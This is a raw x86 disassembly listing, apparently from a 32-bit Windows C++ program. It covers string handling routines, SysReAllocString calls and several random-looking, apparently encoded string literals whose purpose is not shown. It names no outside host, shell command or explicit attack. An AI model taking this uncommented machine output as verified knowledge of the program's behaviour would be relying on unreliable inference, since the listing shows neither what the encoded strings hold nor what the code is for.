lea ecx, [ebp - 0x1a0]
call fcn.00433320
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.004614a0
lea ecx, [ebp - 0xe4]
call fcn.0042d440
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x526431
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5232b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264c6
jmp 0x5232b0
sub esp, 0x18
mov ecx, esp
push 0x5c0748
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523ae5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523ab0
sub ecx, dword [ebp - 0x20]
je 0x523ae5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523ae5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x523ad0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x523aec
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523b20
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523b16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264cb
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5243d3
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523b60
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00526920
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.0044a040
add esp, 0x14
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.MENCFWXwiYMS15tBw
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xd
call fcn.0042db40
test al, al
jne 0x523c71
push 0x13
push str.MENCFWXwiYMS15tBw
lea ecx, [ebp - 0x3c]
call fcn.0042de80
mov byte [ebp - 4], 0xe
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264da
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push str.djVwfQTpUrAzUi5XB0k
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xf
call fcn.0042db40
test al, al
jne 0x523cb5
push 0x13
push str.djVwfQTpUrAzUi5XB0k
lea ecx, [ebp - 0x44]
call fcn.0042de80
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c53b8]
lea ecx, [ecx - 0x10]
call fcn.0042d200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443e40
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.004333a0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004344c0
lea ecx, [ebp - 0x1a0]
call fcn.00433320
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264e4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042db40
test al, al
jne 0x523da8
test esi, esi
jne 0x523d84
xor ecx, ecx
jmp 0x523d9f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x523d90
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042de80
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042d200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443e40
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00447130
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042d440
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c53b8]
lea ecx, [ecx - 0x10]
call fcn.0042d200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443e40
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.004333a0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004344c0
lea ecx, [ebp - 0x1a0]
call fcn.00433320
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264ee
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042db40
test al, al
jne 0x523edc
test esi, esi
jne 0x523ebf
xor ecx, ecx
jmp 0x523ed3
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x523ec4
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042de80
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042d200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443e40
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00447130
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042d440
mov byte [ebp - 4], 0x1d
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264f8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x526502
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push str.NDBPUZ08SjLhdElEnVHrTxIhjCEBZPKQ5XyUTsOeW148MRQ4Q8NEVbIVikCIRnk85KERVlIUUOMEDsVhQVUyeGkk
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1f
call fcn.0042db40
test al, al
jne 0x523f88
push 0x59
push str.NDBPUZ08SjLhdElEnVHrTxIhjCEBZPKQ5XyUTsOeW148MRQ4Q8NEVbIVikCIRnk85KERVlIUUOMEDsVhQVUyeGkk
lea ecx, [ebp - 0x38]
call fcn.0042de80
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x9f
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.bVRYGQRZ2AOTEdKdmI69TzsLJwgmyensWtdjcnVCzEqfCAMyxN2NXwL3o0fHzh6xe09xrLzJPbeHoumBDB6Be0gjbK21PMOyw4fHTF6We09xULzJP3KSVt4TycwtLhoL0LygDwMDc26T256ILgsycPTNPCKSU
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042c350
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.004333a0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x84]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004344c0
lea ecx, [ebp - 0x1a0]
call fcn.00433320
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x68]
mov dword [ebp - 0x50], eax
call fcn.004333a0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.004344c0
lea ecx, [ebp - 0x298]
call fcn.00433320
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.004333a0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004344c0
lea ecx, [ebp - 0x1a0]
call fcn.00433320
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042d2f0
lea ecx, [ebp - 0x20]
call fcn.00443a10
mov byte [ebp - 4], 0x28
push dword [ebp - 0x50]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00420220
mov edx, dword [ebp - 0x20]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524127
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042d440
lea ecx, [ebp - 0x130]
call fcn.0042d440
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x21
call fcn.0042d440
mov eax, dword [ebp - 0x34]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x50], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042d200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00443e40
mov ecx, dword [ebp - 0x50]
add esp, 4
call fcn.0045e3f0
mov eax, dword [ebp - 0x34]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042d200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045e3f0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x5241ee
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5241e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52650c
push ecx
push edx
call fcn.00549e44
add esp, 8
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524208
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52421f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524236
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52424b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x524282
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524278
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52650c
push ecx
push edx
call fcn.00549e44
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x5242d1
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5242c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52650c
push ecx
push edx
call fcn.00549e44
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x524326
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52431c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52650c
push ecx
push edx
call fcn.00549e44
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x52437b
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524371
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52650c
push ecx
push edx
call fcn.00549e44
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x526431
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5232b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52650c
jmp 0x5232b0
sub esp, 0x18
mov ecx, esp
push 0x5c07a8
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x524435
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524400
sub ecx, dword [ebp - 0x20]
je 0x524435
mov eax, dword [edx + 0x10]
test eax, eax
je 0x524435
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x524420
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52443c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524470
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524466
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526511
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x524708
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5244b0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00526920
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x526516
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x2c
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x526520
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x2e
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x52652a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x30
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x526534
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x52653e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x9c]
call fcn.004477b0
mov esi, dword [ebp - 0x34]
add esp, 0x14
mov ecx, 0x5c547c
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00421990
mov edi, dword [ebp - 0x70]
cmp byte [edi + 0xd], 0
jne 0x526548
lea eax, [edi + 0x10]
push eax
push esi
call fcn.004258c0
test al, al
jne 0x526548
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042d200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x6c], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042d200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0x40], esp
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0042d200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042d200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x70], esi
mov edi, dword [ebp - 0x24]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042d200
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.00406910
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5246a8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5246bf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5246d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5246ed
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x524396
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x524396
sub esp, 0x18
mov ecx, esp
push 0x5c08c8
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x524765
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524730
sub ecx, dword [ebp - 0x2c]
je 0x524765
mov eax, dword [edx + 0x10]
test eax, eax
je 0x524765
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x524750
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52476c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5247a0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524796
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52650c
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x524962
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5247e0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x526552
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x52655c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x3d
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x526566
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.0044b520
mov eax, dword [ebp - 0x34]
add esp, 4
mov esi, esp
mov dword [ebp - 0x70], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042d200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042d200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042d200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042d200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.00406c30
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52492d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524944
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x524396
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x524396
sub esp, 0x18
mov ecx, esp
push 0x5c06e8
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5249c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524990
sub ecx, dword [ebp - 0x2c]
je 0x5249c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5249c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5249b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5249cc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524a00
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5249f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52650c
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x524cc5
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524a40
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x5908b4
call fcn.0042aaa0
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
call fcn.00549e14
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
